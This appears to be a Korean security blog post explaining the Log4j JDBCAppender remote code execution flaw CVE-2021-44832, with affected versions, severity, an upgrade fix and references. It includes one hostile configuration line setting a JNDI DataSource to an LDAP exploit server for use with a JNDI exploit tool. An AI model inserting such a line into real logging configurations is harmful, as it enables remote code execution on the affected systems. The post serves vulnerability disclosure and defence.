Log4 2.17 JDBCAppender RCE(CVE-2021-44832)
또… 또나왔네요. 이전 글에서 한번에 쓰기에 너무 긴 내용이라 추가 CVE는 하나씩 분리해둘 생각입니다.
History of Log4j RCE
- [2021-12-10] CVE-2021-44228 (RCE)
- [2021-12-14] CVE-2021-45046 (DOS / RCE)
- [2021-12-18] CVE-2021-45105 (DOS)
- [2021-12-27] CVE-2021-44832 (RCE)
Affected
≤2.17, ≤2.12.3, ≤2.3.1
위 버전이 취약합니다. 다만 무조건 취약한 상태는 아니고, 로깅 구성 파일을 수정할 수 있는 권한이 공격자에게 필요하기 때문에 공격 성공을 위해선 MITM 등의 부가적인 요소가 필요합니다. 그래서 이전 RCE 처럼 Critical 이슈는 아니고 Major(CVSS 6.6) 정도의 이슈입니다.
Mitigation
Log4j 2.17.1, 2.12.4, 2.3.2로 업그레이드하여 대응할 수 있습니다.
Attack Technic
Log4j에는 Console Appender, File Appender 등 여러가지 Appender가 있습니다. 여기서 문제가된 부분은 JDBCAppender란 기능인데요. Log4j에서 이를 위해 JDBCAppender를 처리하기 위해 JDBC Deserialization 하기 전 JNDI를 사용하여 원격으로 소스를 가져올 수 있는 방법이 존재합니다.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
<Column ...
</JDBC>
</Appenders>
…
</Configuration>
그래서 Config에서 JDBCAppender를 사용하도록 설정할 수 있다면 결국 JNDI 처리를 할 수 있기 때문에 JNDIExploit으로 다른 Log4j 취약점과 동일하게 RCE를 할 수 있습니다.
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>
References
- https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832
- CONFIRM:https://cert-portal.siemens.com/productcert/pdf/ssa-784507.pdf
- MISC:https://issues.apache.org/jira/browse/LOG4J2-3293
- URL:https://issues.apache.org/jira/browse/LOG4J2-3293
- MISC:https://lists.apache.org/thread/s1o5vlo78ypqxnzn6p8zf6t9shtq5143